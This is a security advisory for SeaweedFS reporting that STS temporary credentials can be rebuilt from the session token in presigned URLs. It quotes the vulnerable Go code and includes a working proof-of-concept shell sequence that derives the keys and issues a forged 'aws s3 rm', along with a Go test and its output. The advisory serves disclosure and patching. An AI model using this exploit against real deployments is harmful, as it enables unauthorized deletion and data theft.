GHSA-P983-2J86-34VJ
STS temporary credentials are recoverable from the session token
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-P983-2J86-34VJ divulgada · CVSS 9.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
SeaweedFS derives an STS session's secret access key from the session id with a plain SHA-256 and no server-side secret, and publishes that session id inside the session token. Because the session token travels in `X-Amz-Security-Token`, including in the query string of every presigned URL, anyone who receives a presigned URL, or reads it out of a log, can recompute the full temporary credential and sign arbitrary S3 requests with the session's permissions until it expires.
Details
`weed/iam/sts/token_utils.go:199-217`:
func (c *CredentialGenerator) generateTemporaryAccessKeyId(sessionId string) (string, error) {
hash := sha256.Sum256([]byte("access-key:" + sessionId))
return "ASIA" + hex.EncodeToString(hash[:8]), nil
}
func (c *CredentialGenerator) generateSecretAccessKey(sessionId string) (string, error) {
// Create deterministic secret key based on session ID (not random!)
hash := sha256.Sum256([]byte("secret-key:" + sessionId))
return base64.StdEncoding.EncodeToString(hash[:]), nil
}`sessionId` is 16 random bytes (`GenerateSessionId`, `token_utils.go:226`) but it is not secret: `NewSTSSessionClaims` (`weed/iam/sts/session_claims.go:103-120`) writes it into the JWT as `sub`, `jti` and `sid` (field at `session_claims.go:69`). A JWT payload is base64url, so reading it needs no key.
That token is accepted from the query string for presigned URLs (`weed/s3api/auth_signature_v4.go:236-239`):
sessionToken := r.Header.Get("X-Amz-Security-Token")
if sessionToken == "" {
sessionToken = r.URL.Query().Get("X-Amz-Security-Token")
}Verification regenerates the credential from the session id rather than comparing a stored secret (`ToSessionInfo`, `session_claims.go:125-160` calling `GenerateTemporaryCredentials`), and `validateSTSSessionToken` (`auth_signature_v4.go:386-433`) only checks that the request's access key equals the regenerated one. Both sides therefore compute the attacker's value.
Every issuing path uses the same generator: `AssumeRoleWithWebIdentity` (`sts_service.go:610`), `AssumeRoleWithCredentials` / `AssumeRoleForPrincipal` (`sts_service.go:775`), `AssumeRole` (`s3api_sts.go:925`), `GetFederationToken` (`s3api_sts.go:806`) and Iceberg credential vending (`s3api_iceberg_credentials.go:70`).
Note: the same token is separately accepted as `Authorization: Bearer` (`s3api_auth.go:18` reaching `s3_iam_middleware.go:186-225`), so a fix that only randomises the secret still leaves presigned URLs equivalent to credentials. The secret should be derived with an HMAC keyed on the STS signing key, for example `HMAC-SHA256(stsSigningKey, "secret-key:"+sessionId)`, which keeps the stateless design while making the value unguessable without the server key.
PoC
Configuration. An S3 gateway with the advanced IAM/STS integration active: `weed s3 -iam.config=<file>`, or the default `-iam=true` whenever an STS signing key resolves (`jwt.filer_signing.key` in `security.toml`, or an initialised SSE-S3 KEK); see `weed/s3api/s3api_server.go:374-425`. Any deployment that issues STS credentials is in scope.
By hand. Take any presigned URL generated from an STS session; it carries `X-Amz-Security-Token=eyJhbGciOiJIUzI1NiIs...`. With only that value:
TOKEN='<the X-Amz-Security-Token value from the URL>'
SID=$(printf '%s' "$TOKEN" | cut -d. -f2 | tr '_-' '/+' \
| awk '{ while (length($0)%4) $0=$0"="; print }' | base64 -d \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["sid"])')
AK="ASIA$(printf 'access-key:%s' "$SID" | sha256sum | cut -c1-16)"
SK=$(printf 'secret-key:%s' "$SID" | sha256sum | cut -d' ' -f1 | xxd -r -p | base64)
AWS_ACCESS_KEY_ID=$AK AWS_SECRET_ACCESS_KEY=$SK AWS_SESSION_TOKEN=$TOKEN \
aws --endpoint-url https://s3.example.com s3 rm s3://reports/2025-payroll.csvThe URL delegated one `GET` on one object; the command deletes a different one.
Scripted. A self-contained Go test drives the real STS service and the real SigV4 verifier (`IdentityAccessManagement.reqSignatureV4Verify`); no production code is modified. It issues a session, builds a presigned URL from it, recovers the credential from that URL's `X-Amz-Security-Token` alone, and signs a `DELETE` on a different object.
git checkout 66f17548966cedaedcc58b4afba72c39d81d7367
# copy poc_test.go into weed/s3api/, then:
go test -count=1 ./weed/s3api/ -run TestAresPoC_STSSecretKeyDerivableFromSessionToken -vObserved at `66f17548966cedaedcc58b4afba72c39d81d7367` (v4.47 plus 5 commits). Key values differ per run because the session id is random; the equality is the point:
=== RUN TestAresPoC_STSSecretKeyDerivableFromSessionToken
session id read from the unverified token: a259a1b4aead103d304306cd5f8dc29b
issued AccessKeyId=ASIA8f3c1ecf5c99730f SecretAccessKey=gx1R8waEyCC/MzTv6KeSLdcPhew4zM4rsZIHuVQFMvA=
derived AccessKeyId=ASIA8f3c1ecf5c99730f SecretAccessKey=gx1R8waEyCC/MzTv6KeSLdcPhew4zM4rsZIHuVQFMvA=
FAIL full temporary credential recovered from the presigned URL's session token
PASS positive control: the issued credential verifies -> the SigV4 path is live
PASS negative control: a wrong secret is rejected -> signatures are enforced
FAIL forged DELETE on a different object accepted as principal "arn:aws:sts::assumed-role/AppRole/alice-session"
RESULT: VULNERABLE
--- PASS: TestAresPoC_STSSecretKeyDerivableFromSessionToken (0.00s)Controls: the credential the server actually issued verifies through `reqSignatureV4Verify`, so the path under test is live rather than stubbed; the same request signed with a wrong secret is rejected, so signatures really are checked and the harness would detect a working credential check. The accepted request is a `DELETE` on a different object than the presigned `GET`. The attacker side of the test reads only the presigned URL's query string and never touches the STS signing key. The full PoC bundle (driver script, test source, recorded output, environment) is available on request.
Version range. Introduced by `23fc3f262` (2026-01-03), first released in 4.06; 4.05 still used `crypto/rand` for the secret: `git show 4.05:weed/iam/sts/token_utils.go` shows `rand.Read(secretBytes)` while `git show 4.06:...` shows `sha256.Sum256([]byte("secret-key:" + sessionId))`. Runtime reproduction was performed only at the HEAD commit above; earlier releases rest on inspection of the tagged trees.
Impact
Insufficiently protected credentials arising from predictable-from-observable-state credential generation. A presigned URL is meant to be a narrow, safe-to-share capability; here it discloses the signer's whole temporary credential. The recipient, who holds no account, gains every permission the assumed role carries across every bucket its policies allow, for the rest of the session (default 1 hour, up to `maxSessionLength` 12 hours, and up to 36 hours for `GetFederationToken`). The same disclosure follows from any access log, reverse proxy, CDN, `Referer` header or browser history that records the request URL. Affects operators using OIDC federation, `AssumeRole`, `GetFederationToken`, or Iceberg credential vending.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-p983-2j86-34vjLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
